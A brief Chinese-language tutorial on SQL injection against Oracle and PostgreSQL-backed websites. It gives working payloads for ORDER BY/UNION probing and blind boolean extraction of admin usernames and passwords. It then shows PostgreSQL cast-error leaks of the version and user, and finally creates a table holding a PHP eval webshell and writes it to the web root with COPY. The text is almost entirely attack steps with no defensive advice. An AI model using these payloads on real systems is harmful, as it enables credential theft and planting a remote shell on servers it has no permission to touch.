1,数据库介绍
大型的数据库,甲骨文公司开发,政府,金融,证券等,安全要求高
特点:支持多用户,大事务,安全和完整性教好,支持多分布式数控管理,移植性强
2,数据库的代码分析
程序员对用户输入的特殊字符没有过滤导致的漏洞
3,注入原理
两种方法,首先判是否有注入
第一种,字段长度判断(藏锋者的书<<黑客web脚本攻击与防御技术核心剖析>>
order by 3
union select ‘null‘ .null,null from admin挨个尝试加单引号尝试
第二种,order by 1就不行了,这个时候只能手工爆账户和密码
首先判断了存在注入,这个时候我们只能判断有什么表
?id=99 and (select count(*) from admin)<>0 看是否有admin表,尝试
?id=99 and (select count(user) from admin)<>0 看是否有user列,尝试
?id=99 and (select count(pwd) from admin)<>0 看是否有pwd列,尝试
?id=99 and (select count(*) from admin where length(name)>=5)=1 ,尝试5的变化
?id=99 and (select count(*) from admin where ascii(substr(name,1,1))>=9)=1,说明第一个字母的ascii大于9,判断第一个字母的ascii值,猜解用户名和密码
利用和天的试验机我们可以操作一下
2,postgres数据库的注入
首先判断注入是否存在
and 1=1 and 1=2
获取一些信息(数据库,以及系统内核等)
and 1=cast(version() as int)
获取用户以及权限
and 1=cast(user||123 as int )
创建一个表
:create table xxx(w text not null)
插入一句话木马
:insert into xxx values($$<?php @eval($_POST[lazy]);?>$$);
执行上面的一句话木马,导出数据
:copy xxx(w) to $$/home/..lazy.php$$;(爆出的时候出现的路径,lazy.php自己取得名字)
访问空白,说明写进来了